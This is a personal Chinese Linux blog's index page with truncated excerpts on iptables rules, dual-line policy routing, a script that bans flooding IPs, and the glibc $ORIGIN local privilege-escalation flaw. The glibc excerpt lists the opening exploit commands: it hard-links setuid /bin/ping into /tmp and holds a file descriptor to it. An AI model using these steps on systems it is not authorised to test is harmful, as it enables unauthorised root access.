王健宇's BLOG

IPTABLES常用规则

2012-1-16 王健宇 Linux

#!/bin/sh
#外网网卡
EXT_IF="eth0"
FW_IP="61.137.85.21"
#内网网卡
INT_IF="eth1"
LAN_IP="192.168.0.1"
LAN_IP_RANGE="192.168.0.0/255.255.255.0"
#加载模块,一般已内建
#Module loading.
#echo "modprobe m...

阅读全文>>

评论(5) 浏览(4125)

linux 双线策略路由

2012-1-16 王健宇 Linux

在/etc/iproute2/rt_tables里建2个table
251 tel
252 cnc

然后给这2个table加规则
ip rule add from 122.227.173.12 table tel
ip rule add from 60.12.21.139 table...

阅读全文>>

评论(0) 浏览(4341)

GNU glibc动态连接器$ORIGIN本地权限提升漏洞

2012-1-16 王健宇 Linux

root下添加一个testuser1帐户
设置密码

su testuser1
cd ~

mkdir -p /tmp/ex1

ln /bin/ping /tmp/ex1/target

exec 3< /tmp/ex1/target

rm -rf /tmp/ex1

再执行
ls -l /proc/$$/fd/3
显示
lr-x------ 1 testuser1 testuser1 64 Dec ...

阅读全文>>

标签: glibc2提权

评论(0) 浏览(3280)

shell结合iptables自动处理攻击

2012-1-16 王健宇 Linux

#!/bin/sh
cd /usr/local/nginx/logs
tail access.log -n 1000 |grep vote.php |awk {'print $2'} |sort |uniq -c |sort -nr |awk '{if ($2!=null && $1>50) {print $2}}' > drop_ip.txt
fo...

阅读全文>>

标签: iptables自动处理攻击

评论(0) 浏览(2884)